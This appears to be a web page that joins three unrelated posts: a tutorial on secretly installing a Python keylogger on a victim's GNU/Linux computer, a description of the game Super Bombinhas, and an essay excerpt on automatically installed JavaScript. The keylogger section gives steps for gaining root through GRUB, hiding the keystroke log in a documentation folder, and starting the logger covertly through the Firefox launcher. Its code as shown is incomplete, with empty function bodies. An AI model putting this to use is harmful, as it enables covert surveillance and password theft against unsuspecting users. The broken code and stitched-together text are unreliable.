Basic keylogger for GNU/Linux to steal passwords and typed information

A simple way to steal passwords is to install a keylogger on the victim's computer. I am going to show how to do this on GNU/Linux using the Python programming language.

The first thing to do is to obtain superuser permissions. If the computer is managed by us, we already know the password. If not, we can get superuser access from GRUB. With the necessary permissions, we are free to install the keylogger.

First of all, the pynput library must be installed executing...

sudo pip install pynput

Next, we need to write the keylogger. This is the code we will use:

#!/usr/bin/env python3
from pynput.keyboard import Key, Listener
import logging

log_dir = "/usr/share/doc/python3/"

logging.basicConfig(filename=(log_dir + "log"), \
        level=logging.DEBUG, format='%(asctime)s: %(message)s')

def on_press(key):

with Listener(on_press=on_press) as listener:

The keylog is stored in log_dir. In this case, I have specified the GNU/Linux Python 3 documentation folder. The keylogger can also be stored in the same directory, perhaps with the name or something similar to avoid attracting attention. Ideally, choose a folder that the victim is not going to enter to prevent them from realising what we are doing.

The last step would be to run the program every time the computer is turned on or a program is started without the victim noticing. If, for example, we want to start the keylogger every time the user opens Firefox, we can modify the Firefox command.

Video game Super Bombinhas

The main characters of this platform game are living bombs. Bomba Azul is the only bomb who wasn't captured by the evil Gaxlon. You must save the other bombs and the king Aldan. Each bomb has a special ability: Bomba Amarela can quickly run and jump higher than the others, Bomba Verde can explode, the king Aldan can stop time, etc. After saving a bomb, you can change to it during the adventure.

In the game there are 7 very different regions. Each of them has a final boss. You must wisely use every bomb to advance.

The game also has a level editor to create new levels.

Fix or kill automatically installed JavaScript?

In Richard Stallman's essay, "The JavaScript Trap", it is pointed out that people run proprietary software which is silently, automatically installed into their browsers every day. In fact, he very much downplayed the problem; not only are most users running proprietary programs every day merely by browsing the Web, they are running dozens or even hundreds of such programs each day. The JavaScript Trap is very real and prolific; the Web is said to be so broken without these non-standard, usually proprietary extensions to HTML that Web browsers have moved toward not even offering an obvious option to disable JavaScript; disabling JavaScript, it is argued, will only cause confusion.

It's obvious that we need to solve this problem. However, in focusing on whether or not scripts are "trivial" or libre, Mr. Stallman misses a crucial point: this behavior of automatic, silent software installation is, itself, the main problem. That most of the software in question is proprietary is merely a side-effect.
